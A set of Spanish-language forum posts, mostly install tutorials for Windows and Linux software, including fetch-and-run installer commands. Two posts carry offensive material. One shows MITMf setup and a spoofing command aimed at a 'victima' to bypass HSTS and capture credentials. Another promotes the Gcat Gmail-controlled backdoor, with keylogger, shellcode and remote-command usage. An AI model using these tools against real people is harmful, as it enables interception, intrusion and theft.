Function        Get-IscsiSession                                   1.0.0.0    iSCSI
Function        Get-IscsiTarget                                    1.0.0.0    iSCSI
Function        Get-IscsiTargetPortal                              1.0.0.0    iSCSI
Function        Get-IseSnippet                                     1.0.0.0    ISE
Function        Get-LogProperties                                  1.0.0.0    PSDiagnostics
Function        Get-MaskingSet                                     2.0.0.0    Storage
Function        Get-MMAgent                                        1.0        MMAgent
Function        Get-MockDynamicParameters                          3.4.0      Pester
Function        Get-MpComputerStatus                               1.0        Defender
Function        Get-MpPreference                                   1.0        Defender
Function        Get-MpThreat                                       1.0        Defender
Function        Get-MpThreatCatalog                                1.0        Defender
Function        Get-MpThreatDetection                              1.0        Defender
Function        Get-NCSIPolicyConfiguration                        1.0.0.0    NetworkConnectivityStatus
Function        Get-Net6to4Configuration                           1.0.0.0    NetworkTransition
Function        Get-NetAdapter                                     2.0.0.0    NetAdapter
Function        Get-NetAdapterAdvancedProperty                     2.0.0.0    NetAdapter
Function        Get-NetAdapterBinding                              2.0.0.0    NetAdapter
Function        Get-NetAdapterChecksumOffload                      2.0.0.0    NetAdapter
Function        Get-NetAdapterEncapsulatedPacketTaskOffload        2.0.0.0    NetAdapter
Function        Get-NetAdapterHardwareInfo                         2.0.0.0    NetAdapter
Function        Get-NetAdapterIPsecOffload                         2.0.0.0    NetAdapter
Function        Get-NetAdapterLso                                  2.0.0.0    NetAdapter
Function        Get-NetAdapterPacketDirect                         2.0.0.0    NetAdapter
Function        Get-NetAdapterPowerManagement                      2.0.0.0    NetAdapter
Function        Get-NetAdapterQos                                  2.0.0.0    NetAdapter
Function        Get-NetAdapterRdma                                 2.0.0.0    NetAdapter
Function        Get-NetAdapterRsc                                  2.0.0.0    NetAdapter
Function        Get-NetAdapterRss                                  2.0.0.0    NetAdapter
Function        Get-NetAdapterSriov                                2.0.0.0    NetAdapter
Function        Get-NetAdapterSriovVf                              2.0.0.0    NetAdapter
Function        Get-NetAdapterStatistics                           2.0.0.0    NetAdapter
Function        Get-NetAdapterVmq                                  2.0.0.0    NetAdapter
Function        Get-NetAdapterVMQQueue                             2.0.0.0    NetAdapter
Function        Get-NetAdapterVPort                                2.0.0.0    NetAdapter
Function        Get-NetCompartment                                 1.0.0.0    NetTCPIP
Function        Get-NetConnectionProfile                           1.0.0.0    NetConnection
Function        Get-NetDnsTransitionConfiguration                  1.0.0.0    NetworkTransition
Function        Get-NetDnsTransitionMonitoring                     1.0.0.0    Ne
#11
Hola undercoders , en el post hablare sobre un administrador de paquetes para windows similar ah de linux , es decir instalando paquetes por command lines en este caso usando el cmd o powershell el de su preferencia.

Requirements

    Windows 7+ / Windows Server 2003+
    PowerShell v2+
    .NET Framework 4+ (the installation will attempt to install .NET 4.0 if you do not have it installed)

¡Eso es! Todo lo que necesita es choco.exe (que se obtiene de los scripts de instalación) y usted es bueno para ir! No requiere Visual Studio

Installacion Con CMD
Nota ejecutar cmd como admin

Código: php
@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"



Output del commando
Código: php
C:\Windows\system32>@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
Getting latest version of the Chocolatey package for download.
Getting Chocolatey from https://chocolatey.org/api/v2/package/chocolatey/0.10.3.
Downloading 7-Zip commandline tool prior to extraction.
Extracting C:\Users\ALOIS\AppData\Local\Temp\chocolatey\chocInstall\chocolatey.zip to C:\Users\ALOIS\AppData\Local\Temp\chocolatey\chocInstall...
Installing chocolatey on this machine
Creating ChocolateyInstall as an environment variable (targeting 'Machine')
  Setting ChocolateyInstall to 'C:\ProgramData\chocolatey'
WARNING: It's very likely you will need to close and reopen your shell
  before you can use choco.
Restricting write permissions to Administrators
We are setting up the Chocolatey package repository.
The packages themselves go to 'C:\ProgramData\chocolatey\lib'
  (i.e. C:\ProgramData\chocolatey\lib\yourPackageName).
A shim file for the command line goes to 'C:\ProgramData\chocolatey\bin'
  and points to an executable in 'C:\ProgramData\chocolatey\lib\yourPackageName'.

Creating Chocolatey folders if they do not already exist.

WARNING: You can safely ignore errors related to missing log files when
  upgrading from a version of Chocolatey less than 0.9.9.
  'Batch file could not be found' is also safe to ignore.
  'The system cannot find the file specified' - also safe.
PATH environment variable does not have C:\ProgramData\chocolatey\bin in it. Adding...
Attempting to upgrade 'C:\Chocolatey' to 'C:\ProgramData\chocolatey'.
WARNING: Copying the contents of 'C:\Chocolatey' to 'C:\ProgramData\chocolatey'.
This step may fail if you have anything in this folder running or locked.
If it fails, just manually copy the rest of the items out and then delete the folder.
WARNING: !!!! ATTN: YOU WILL NEED TO CLOSE AND REOPEN YOUR SHELL !!!!
ADVERTENCIA: Not setting tab completion: Profile file does not exist at
'C:\Users\ALOIS\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1'.
Chocolatey (choco.exe) is now ready.
You can call choco from anywhere, command line or powershell by typing choco.
Run choco /? for a list of functions.
You may need to shut down and restart powershell and/or consoles
first prior to using choco.
WARNING: This action will result in Log Errors, you can safely ignore those.
You may need to finish removing 'C:\Chocolatey' manually.
Attempting to remove 'C:\Chocolatey'. This may fail if something in the folder is being used or locked.
Ensuring chocolatey commands are on the path
Ensuring chocolatey.nupkg is in the lib folder


En ese momento ya tenemos instalado el chocolatey .
Ahora les comentera el uso de el y configuracion hay otras formas de instalar chocolatey para powershell pero debes habilitar el (Ensure Get-ExecutionPolicy is not Restricted):  y como lamentablemente soy noob al uso de powershell es decir omito ese paso .

Ejecutamos

C:\Windows\system32>chocolatey
Chocolatey v0.10.3

como vemos el resultado es la version del chocolatey

Opciones de chocolatey
C:\Windows\system32>chocolatey /?
This is a listing of all of the different things you can pass to choco.

Commands

* list - lists remote or local packages
* search - searches remote or local packages (alias for list)
* info - retrieves package information. Shorthand for choco search pkgname --exact --verbose
* install - installs packages from various sources
* pin - suppress upgrades for a package
* outdated - retrieves packages that are outdated. Similar to upgrade all --noop
* upgrade - upgrades packages from various sources
* uninstall - uninstalls a package
* pack - packages up a nuspec to a compiled nupkg
* push - pushes a compiled nupkg
* new - generates files necessary for a chocolatey package from a template
* source - view and configure default sources
* sources - view and configure default sources (alias for source)
* config - Retrieve and configure config file settings
* feature - view and configure choco features
* features - view and configure choco features (alias for feature)
* apikey - retrieves or saves an apikey for a particular source
* setapikey - retrieves or saves an apikey for a particular source (alias for apikey)
* unpackself - have chocolatey set it self up
* version - [DEPRECATED] will be removed in v1 - use `choco outdated` or `cup <pkg|all> -whatif` instead
* update - [DEPRECATED] RESERVED for future use (you are looking for upgrade, these are not the droids you are looking for)


Please run chocolatey with `choco command -help` for specific help on
each command.

How To Pass Options / Switches

You can pass options and switches in the following ways:

* Unless stated otherwise, an option/switch should only be passed one
   time. Otherwise you may find weird/non-supported behavior.
* `-`, `/`, or `--` (one character switches should not use `--`)
* **Option Bundling / Bundled Options**: One character switches can be
   bundled. e.g. `-d` (debug), `-f` (force), `-v` (verbose), and `-y`
   (confirm yes) can be bundled as `-dfvy`.
* NOTE: If `debug` or `verbose` are bundled with local options
   (not the global ones above), some logging may not show up until after
   the local options are parsed.
* **Use Equals**: You can also include or not include an equals sign
   `=` between options and values.
* **Quote Values**: When you need to quote an entire argument, such as
   when using spaces, please use a combination of double quotes and
   apostrophes (`"'value'"`). In cmd.exe you can just use double quotes
   (`"value"`) but in powershell.exe you should use backticks
   (`` `"value`" ``) or apostrophes (`'value'`). Using the combination
   allows for both shells to work without issue, except for when the next
   section applies.
* **Pass quotes in arguments**: When you need to pass quoted values to
   to something like a native installer, you are in for a world of fun. In
   cmd.exe you must pass it like this: `-ia "/yo=""Spaces spaces"""`. In
   PowerShell.exe, you must pass it like this: `-ia '/yo=""Spaces spaces""'`.
   No other combination will work. In PowerShell.exe if you are on version
   v3+, you can try `--%` before `-ia` to just pass the args through as is,
   which means it should not require any special workarounds.
* Options and switches apply to all items passed, so if you are
   installing multiple packages, and you use `--version=1.0.0`, choco
   is going to look for and try to install version 1.0.0 of every
   package passed. So please split out multiple package calls when
   wanting to pass specific options.

Default Options and Switches

-?, --help, -h
     Prints out the help menu.

-d, --debug
     Debug - Show debug messaging.

-v, --verbose
     Verbose - Show verbose messaging.

     --acceptlicense, --accept-license
     AcceptLicense - Accept license dialogs automatically. Reserved for
       future use.

-y, --yes, --confirm
     Confirm all prompts - Chooses affirmative answer instead of prompting.
       Implies --accept-license

-f, --force
     Force - force the behavior. Do not use force during normal operation -
       it subverts some of the smart behavior for commands.

     --noop, --whatif, --what-if
     NoOp / WhatIf - Don't actually do anything.

-r, --limitoutput, --limit-output
     LimitOutput - Limit the output to essential information

     --timeout, --execution-timeout=VALUE
     CommandExecutionTimeout (in seconds) - The time to allow a command to
       finish before timing out. Overrides the default execution timeout in the
       configuration of 2700 seconds.

-c, --cache, --cachelocation, --cache-location=VALUE
     CacheLocation - Location for download cache, defaults to %TEMP% or value
       in chocolatey.config file.

     --allowunofficial, --allow-unofficial, --allowunofficialbuild, --allow-unofficial-build
     AllowUnofficialBuild - When not using the official build you must set
       this flag for choco to continue.

     --failstderr, --failonstderr, --fail-on-stderr, --fail-on-standard-error, --fail-on-error-output
     FailOnStandardError - Fail on standard error output (stderr), typically
       received when running external commands during install providers. This
       overrides the feature failOnStandardError.

     --use-system-powershell
     UseSystemPowerShell - Execute PowerShell using an external process
       instead of the built-in PowerShell host. Should only be used when
       internal host is failing. Available in 0.9.10+.

Si analizamos el las opciones puedes , actualizar,eliminar,agregar,buscar los paquetes si eres un linuxero no veo que sea un problema para ti ya que la mayoria usamor la terminal , en windows nos puede ayudar ah no perder el tiempo

Los commandos utilizados son
Chocolatey install (paquetes asignado) //* sin plecas //*
Chocolatey uninstalll (paquetes asignado) //* sin plecas //*
Chocolatey search (paquetes asignado) //* sin plecas //*
Chocolatey list (Da lista completos de todos los paquetes)

Demostracion de search
Código: php
C:\Windows\system32>chocolatey search openoffice
Chocolatey v0.10.3
OpenOffice 4.1.3 [Approved] Downloads cached for licensed users
ExcelConverter 3.2.2
hunspell.portable 1.3.2.300
iecacheview 1.58 [Approved] Downloads cached for licensed users
pandoc 1.19.1.20161212 [Approved]
znotes 0.4.5 [Approved]
zotero-standalone 4.0.29.11 [Approved] Downloads cached for licensed users
7 packages found.


Demostracion de instalacion

Eligeremos el OpenOffice 4.1.3 [Approved] Downloads cached for licensed users

Output
Código: php

C:\Windows\system32>chocolatey install OpenOffice 4.1.3
Chocolatey v0.10.3
Installing the following packages:
OpenOffice;4.1.3
By installing you accept licenses for the packages.

OpenOffice v4.1.3 [Approved]
openoffice package files install completed. Performing other installation steps.
The package OpenOffice wants to run 'chocolateyInstall.ps1'.
Note: If you don't run this script, the installation will fail.
Note: To confirm automatically next time, use '-y' or consider setting
'allowGlobalConfirmation'. Run 'choco feature -h' for more details.
Do you want to run the script?([Y]es/[N]o/[P]rint): Y

Switching to es
Downloading OpenOffice
  from 'https://downloads.sourceforge.net/project/openofficeorg.mirror/4.1.3/binaries/es/Apache_OpenOffice_4.1.3_Win_x86_install_es.exe'
Progress: 27% - Saving 34.06 MB of 124.22 MB (35717120/130250784)


Y listo ya tenemos instalado solo esperar que termina de instlar el paquete mi internet es algo lento asi que no terminara

Saludos desde grupo de whatsapp ah
@Stef
@Dinno
@Victor
@Gabriela
#12
Hola chicos,

Hoy les vengo a pedir consejo, y que me dieran sugerencias sobre instalar blackarchlinux en un entorno virtual.
Yo hago el procedimiento de instalacion de arch y todo relacionado con la "guide"  que proporcionan,  pero al final cuando quito la iso del Virtualbox no aparece el sistema y yo hago todo al pie de la letra .
Espero que me puedan ayudar ya que no hay videos o algo relacionado en la web oficial.
#13
Hola , hoy enseñare una forma de instalar facilmente android studio conunos comando y ahorras el tiempo de andar buscando la web y descargarlo comenzemos

Este post ah sido testeado con ubuntu , linux mint, debian y sus dervidados.

Android estudio, propia IDE de Google para el desarrollo de Android, es una buena alternativa a Eclipse con el plugin ADT. Android estudio se puede instalar desde el código fuente, pero en este breve post veremos cómo instalar Android en Ubuntu 14.04 Estudio, 14.10, 15.04 y Linux Mint 17 a través de un PPA.
Instalar Android Estudio en Ubuntu, la manera oficial

Usted puede instalar Android Studio usando Ubuntu Centro de herramientas de desarrollo, ahora conocido como Ubuntu Haz. Ubuntu Make proporciona una herramienta de línea de comandos para instalar varias herramientas de desarrollo, IDE etc. Ubuntu Haz está disponible en Ubuntu 15.04 repositorio. A principios de versión se puede utilizar la PPA oficial de instalar Ubuntu Haz.

Código: php
sudo add-apt-repository ppa:ubuntu-desktop/ubuntu-make
sudo apt-get update
sudo apt-get install ubuntu-make


Ya teniendo instalado el make usaremos para instalar el android studio con el siguiente comando
Código: php
umake android

Luego aceptas los agrees eh instalas y listo ya tienes el android studio instalado sin mucha dificultad

Screenshots








#14
El post se hara con el nuevo ubutu que es 15.10 o que tambien funciona en debian 8.2 , Prosigamos

Abren una shell
Código: php
CTRL+ALT+T


Escriban lo siguiente
Código: php
sudo add-apt-repository ppa:numix/ppa


Output de Repository
Código: php
sudo add-apt-repository ppa:numix/ppa 

Código: php
The official PPA for the Numix Project - http://numixproject.org

The PPA consists of various artwork packages from the Numix Project.
More info: https://launchpad.net/~numix/+archive/ubuntu/ppa
Press [ENTER] to continue or ctrl-c to cancel adding it

gpg: keyring `/tmp/tmp2m3pfsov/secring.gpg' created
gpg: keyring `/tmp/tmp2m3pfsov/pubring.gpg' created
gpg: requesting key 0F164EEB from hkp server keyserver.ubuntu.com
gpg: /tmp/tmp2m3pfsov/trustdb.gpg: trustdb created
gpg: key 0F164EEB: public key "Launchpad PPA for Numix Maintainers" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
OK


Código: php
sudo apt-get update


Código: php
sudo apt-get install numix-gtk-theme numix-icon-theme-circle


Código: php
sudo apt-get install numix-wallpaper-notd



Si tienes instalado debian y no tiene el softwares-properties-common
Ejecutas lo siguiente.


Wheezy

Código: php
sudo apt-get install python-software-properties


Jessie

Código: php
sudo apt-get install software-properties-common


De tener instalado y agregar los repositorios instalaremos ubuntu tweak tool para poder cambiar el tema eh iconos

Código: php
sudo apt-get install unity-tweak-tool


Como setear los themes eh icons





Nota: Recuerden instalar en debian los paquetes para que puedan agregar el respositorio
#15
GNU/Linux / Instalando Gnome Classic en Ubuntu 15.10
Enero 16, 2016, 04:36:08 PM
Buenas, hoy  le explicare como instalar en clasico gnome , ya que algunos no estamos conformes con unity que trae por default . Solo ejecutando un simple comando

Abrimos terminal con
Código: php
Ctrl+alt+t


Ejecutamos el commando para instalar gnome classic
Código: php
sudo apt-get install gnome-session-flashback


output
Código: php
developer@ubuntu:~$ sudo apt-get install gnome-session-flashback
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  alacarte gir1.2-panelapplet-5.0 gnome-applets gnome-applets-data
  gnome-flashback gnome-flashback-common gnome-media gnome-panel
  gnome-panel-data gnome-themes-standard gnome-themes-standard-data
  gstreamer0.10-gconf gstreamer0.10-plugins-base gstreamer0.10-plugins-good
  gstreamer0.10-pulseaudio gstreamer0.10-x gtk2-engines-pixbuf
  indicator-applet-complete libcpufreq0 libgstreamer-plugins-base0.10-0
  libgstreamer0.10-0 libpanel-applet0 metacity
Suggested packages:
  tomboy evolution-common desktop-base gstreamer0.10-tools
  gnome-control-center
The following NEW packages will be installed:
  alacarte gir1.2-panelapplet-5.0 gnome-applets gnome-applets-data
  gnome-flashback gnome-flashback-common gnome-media gnome-panel
  gnome-panel-data gnome-session-flashback gnome-themes-standard
  gnome-themes-standard-data gstreamer0.10-gconf gstreamer0.10-plugins-base
  gstreamer0.10-plugins-good gstreamer0.10-pulseaudio gstreamer0.10-x
  gtk2-engines-pixbuf indicator-applet-complete libcpufreq0
  libgstreamer-plugins-base0.10-0 libgstreamer0.10-0 libpanel-applet0 metacity
0 upgraded, 24 newly installed, 0 to remove and 0 not upgraded.
Need to get 11.9 MB of archives.
After this operation, 53.9 MB of additional disk space will be used.
Do you want to continue? [Y/n] y




Luego hace log out o reboot y configuran en inicio con gnome classic
#16
Hola mis colegas del foro hoy les vengo un tutorial que encontre escasamente.

Mucho bla bla comenzemos el post

El proyecto esta disponible en github y en apt usaremos las dos formas para instalarlo
Nota:Se usaran entornos , y derivvados como debian y ubuntu , se ah testeado en linux mint,debian,kali linux , y sus derivados , tambien esta disponible en arch linux y derivados .

Caracteristicas
Features

    The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.
    As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol.
    The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.
    MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.
    Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.

El MITMF se usa para saltar o defeat HSTS que trae los nuevo navegadores .
Github No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ArcLinux: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hay algunas dependecia que se ocupan instalar para que su funcionamiento sea productivo y le funciones cuyo adelante pondre los commandos
Script Github:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php
git clone https://github.com/CiuffysHub/MITMf

cd MITMf

chmod 777 setup-fixed.sh

./setup-fixed.sh

Instalando dependecias

apt-get install python-pypcap
pip2 install watchdog
pip2 install dsnlib


Script No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
GNU nano 2.2.6                                    File: setup-fixed.sh                                                                    Modified  

#!/usr/bin/env bash
#In case you do not have pip utility and setuptools installed
apt-get install python-pip
#In case your system is old: apt-get update && apt-get dist-upgrade
#If you are still missing some of these python packages, install them by using pip.
echo -e "\e[31mRunning Git Submodule Setup...\e[0m"
git submodule init && git submodule update --recursive
echo -e "\e[31mInstalling Recommended packages...\e[0m"
apt-get install -y python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev
echo -e "\e[31mInstalling Capstone, Twisted, Requests, Scapy, Dnspython, Cryptography, Crypto...\e[0m"
apt-get install -y python-crypto python-twisted python-requests python-scapy python-dnspython python-cryptography python-capstone
echo -e "\e[31mInstalling Msgpack, Configobj, Pefile, Ipy, Openssl, Pypcap...\e[0m"
apt-get install -y python-configobj python-pefile python-ipy python-openssl python-pypcap python-msgpack
#git clone https://github.com/kti/python-netfilterqueue.git
#python python-netfilterqueue/setup.py install
echo -e "\e[31mRunning Mitmflib Setup...\e[0m"
(cd mitmflib-0.18.4 && python setup.py install)


Otra forma de instalar MITMF

Instalando Dependecias

Arch LInux

Código: php
pacman -S python2-setuptools libnetfilter_queue libpcap libjpeg-turbo


Debian , Ubuntu (Derivados)

Código: php
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml


Instalando MITMf

Note:Si usas Arch Linux utiliza en vez de pip a pip2

    Install virtualenvwrapper:

Código: php
pip install virtualenvwrapper


    Edit your .bashrc or .zshrc file to source the No tienes permitido ver los links. Registrarse o Entrar a mi cuenta script:

Código: php
source /usr/bin/virtualenvwrapper.sh


The location of this script may vary depending on your Linux distro

    Restart your terminal or run:

Código: php
source /usr/bin/virtualenvwrapper.sh


    Create your virtualenv:

Código: php
mkvirtualenv MITMf -p /usr/bin/python2.7


    Clone the MITMf repository:

Código: php
git clone https://github.com/byt3bl33d3r/MITMf


    cd into the directory, initialize and clone the repos submodules:

Código: php
cd MITMf && git submodule init && git submodule update --recursive


Install the dependencies:

Código: php
pip install -r requirements.txt


Código: php
python mitmf.py --help


Cualquier forma de instalacion funciona , esta misma forma tambien funciona para archi linux ya testeado

Ejecutando MITMF
Código: php
python mitmf.py 

Código: php
./mitmf.py -i wlan0 -l 53 --spoof --hsts --arp --dns --gateway 192.168.1.1 --target 192.168.0.1


Código: php
--gateway: Es la ip del router

Código: php
--target:    La victima

-- i : Es la interfaz comunmente es wlan0 para wireless y eth0 para targeta de red
Nota en version derivada los nombre de wlan0 o eth0 cambian lo puede ver ejecutando
Código: php
ifconfig 


Puede sniffear red lan , red lan wireless ,mobile devices , SALTANDO EL HTTPS mas informacion leer caracterisicas de MITMF
#17
Hola, hace poco experimente este problema y vi que no hay un post entonce preferi hacer este post para si tiene este impercance lo pueda solucionar facilmente el fallo se produce mayormente en windows 7 de todas sus versiones , y vagando por intener como es lo habitual encontre un post muy excelente y desearia compartilo con uds .

Nota1: el método es para el error que surge en Windows 7 y eventualmente en Vista. No hay garantías de que funcione con Windows 8 y superiores. En Windows 7 el método funciona sólo si recibieron exactamente el mismo mensaje de error que se comenta más arriba. Pero en Windows 8 lo pueden probar sólo bajo su propio riesgo.

Nota Nº 2: si desean acceder a los archivos para copiarlos a mano desde otro perfil usuario y el sistema les dice que no tienen permiso, eso es normal, es una simple medida de seguridad de Windows. Simplemente tienen que hacer click derecho en la carpeta de ese nombre de usuario, Propiedades, Seguridad, agregar el usuario de uds con todos los items de privilegios marcados, y luego en opciones avanzadas, Permisos, Cambiar Permisos, Agregar, ponen su nombre de usuario, marcan la opcion de "Reemplazar todos los permisos de objetos secundarios...", Aceptar (va a tardar un buen rato en aplicar esto), y luego Aceptar en la otra ventanita que queda abierta. Esto es para poder copiar a mano los archivos desde otro usuario que tengan, para poder hacer backup. Es lo que haría un técnico para poder rescatar esos archivos.[/font]


Primeramente reiniciamos la computadora y cargamos Windows en modo seguro. Para esto, luego de la primer pantalla que muestra la computadora apenas enciende, empezamos a presionar la tecla F8 muchas veces, sin parar. En algunas máquinas puede que nos aparezca primero un menú de booteo, que puede presentarse como una pantallita azul preguntando si queremos arrancar desde el disco rígido, DVD, pendrive, etc; y esa no es, así que muy rápidamente tocamos Esc y luego F8 nuevamente. Ahí sí, nos tiene que aparecer el menú de opciones de inicio de Windows, donde elegiremos la opción de "Modo Seguro" y tocamos Enter para que la cargue:


Si te aparece el logo normal de cargando Windows es porque tocaste tarde. Tranqui, sólo hay que enganchar el momento justo para que abra el menú. Así que cuando termine de cargar Windows, sin poner la contraseña, vas al menú para reiniciar el equipo, y así seguir intentando.

El arranque en Modo Seguro nos dará la opción de ingresar con un usuario Administrador, si tenemos uno. En el 95% de los casos aparece el Administrador y esto es clave para que sigas adelante con este tutorial. Si en este punto no te aparece un usuario Administrador, deja de leer esto y llévale la computadora a un técnico que haga backup de tus archivos y reinstale todo.

Una vez iniciado con el Administrador, notaremos que no se ven nuestros archivos en el Escritorio. Esto es NORMAL porque estamos ingresando mediante un usuario diferente.

Ahora tocamos el botón de Inicio y tipeamos regedit, va a aparecer el icono que debemos abrir:


Ahora hay que ir desplegando las ramas que muestra el programa hasta llegar a:

HKEY_LOCAL_MACHINE
SOFTWARE
Microsoft
Windows NT
CurrentVersion
ProfileList
Ahora deberíamos ver dos carpetas que comienzan con S-1-5-xx- y sigue un número muy largo. Una de las dos carpetas agrega un .bak al final del nombre.

Dentro de esa carpeta con el .bak hay que buscar el item ProfileImagePath y darle doble clic. Debería mostrar algo como C:\users\TUNOMBREDEUSUARIO. Si dice el nombre de usuario que queremos reparar, entonces vamos bien.



A continuación, y cuidando de no borrar ni modificar otro dato, vamos a intercambiar el .bak de una clave a la otra. Para esto, vamos a renombrar primero a la que no dice .bak: click derecho en su nombre, cambiar nombre, le agregamos .ba al final y tocamos Enter.



Luego, a la que dice .bak, le borramos el .bak del final:




Y a la primera que cambiamos, que quedó con el .ba, le agregamos la k, para que quede diciendo .bak:




ATENCION: Si en lugar de dos carpetas, teniamos solamente una que diga .bak al final, simplemente le borramos el .bak. Y si tenés varias carpetas, sólo hay que trabajar con las que contengan tu nombre de usuario a reparar en la clave ProfileImagePath como se explicó más arriba.

Ya casi terminamos... Ahora en la carpeta SIN EL .BAK, damos doble click en el item RefCount, escribimos 0 (cero) y damos Enter.



Y en la misma sección, de la carpeta SIN .BAK, abrimos el item State, escribimos 0 (cero) y damos Enter.



Ahora cerramos el Editor del Registro regedit.
Reiniciamos el equipo cruzando los dedos.
Y probamos a iniciar sesión normalmente con la contraseña que veníamos usando

NOTA FINAL si no llega a funcionar deberas reparar el windows si aun caso no funciona como es de esperar deberas formatear

COPY PASTE XD
Fuente : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#18
Batch - Bash / [Script] Instalación de Sublime Text 2
Septiembre 28, 2015, 04:16:43 AM
Aquí un pequeño código para instalar Sublime Text 2, esta probado en casi todas las distribuciones basadas en Debian.

Código: bash
#!bin/bash/
#Descargando
wget http://blog.anantshri.info/content/uploads/2010/09/add-apt-repository.sh.txt
#Agregando Respositorio
sudo mv add-apt-repository.sh.txt /usr/sbin/add-apt-repository

sudo chmod o+x /usr/sbin/add-apt-repository

sudo chown root:root /usr/sbin/add-apt-repository

sudo add-apt-repository ppa:webupd8team/sublime-text-2
#Actualizando Sistema
sudo apt-get update
#Instalando Sublime Text
sudo apt-get install sublime-text-dev


#Guardar archivos con extension .sh

#Ejecutar superusario

#./nombredearchivo.sh

#LISTO
#19
Gcat es un backdoor Python sigiloso que utiliza Gmail como un servidor de comando y control. Es bastante básico en este momento, pero es una interesante prueba de concepto y si la comunidad se puso detrás de ella y contribuyó algunas nuevas características que podría ser una muy poderosa pieza de equipo.


Gcat es un backdoor Python sigiloso

Cuanto a prestaciones que no tiene que mucho, no puedes subir archivos todavía, pero usted puede ejecutar código shell, descargar archivos y capturas de pantalla de captura.

Pero como concepto es genial, el tráfico de correo electrónico? ¿Cuántas organizaciones bloquearán que, sobre todo a los servidores de Google. Camino menos visible que el tráfico típico de IRC.

Setup

Configuración

Para que esto funcione se necesita:

     Una cuenta de Gmail (Utilice una cuenta dedicada! No utilice su ser personal!)
     Encienda "Permitir aplicaciones menos seguras" en virtud de la configuración de seguridad de la cuenta

Este repo contiene dos archivos:


     No tienes permitido ver los links. Registrarse o Entrar a mi cuenta una secuencia de comandos que se utiliza para enumerar y tema ordena a los clientes disponibles
     No tienes permitido ver los links. Registrarse o Entrar a mi cuenta la puerta trasera real de implementar

En ambos archivos, editar los gmail_user y gmail_pwd variables con el nombre de usuario y la contraseña de la cuenta que previamente configuración.

Usted está probablemente va a querer compilar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en un archivo ejecutable utilizando PyInstaller.

Opciones

Código: php
Gcat

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger


Usando Gcat

Código: php
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86


Una vez que haya implementado la puerta de atrás en un par de sistemas, puede comprobar los clientes disponibles utilizando el comando list:

La salida es una cadena UUID que identifica de forma exclusiva el sistema y el sistema operativo el implante se está ejecutando en

Vamos a emitir un comando a un implante:

Código: php
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv


Aquí le estamos diciendo 90b2cd83-cb36-52de-84ee-99db6ff41a11 ejecutar ipconfig / all, el guión y luego da salida a la JobID que podemos utilizar para recuperar la salida de ese comando

Permite obtener los resultados!

Código: php
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv  
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

-- SNIP --


Downlaod Github : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
FUENTES: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#20
The vulnerability lies in the improper filtering of contact cards using the popular vCard format, thankfully WhatsApp reacted fairly fast on this.






    A vulnerability discovered in WhatsApp Web, the web-based extension of the WhatsApp mobile application, can be exploited by attackers to trick users into executing arbitrary code on their machines.

    Discovered by Check Point security researcher Kasif Dekel, the vulnerability can be exploited by simply sending a vCard contact card containing malicious code to a WhatsApp user. As soon as the seemingly innocent vCard is opened in WhatsApp Web, the malicious code in it can run on the target machine.

    This vulnerability allows cybercriminals to compromise the affected computer by distributing all types of malware, including ransomware, bots, and remote access tools (RATs), Check Point's researcher explains.

    The underlying issue lies in the improper filtering of contact cards that are sent using the popular 'vCard' format. "By manually intercepting and crafting XMPP requests to the WhatsApp servers, it was possible to control the file extension of the contact card file," the Check Point researcher explained in a blog post.

    An attacker can inject a command in the name attribute of the vCard file, separated by the '&' character. Windows automatically tries to run all lines in the file, including the injection line, when the vCard is opened.

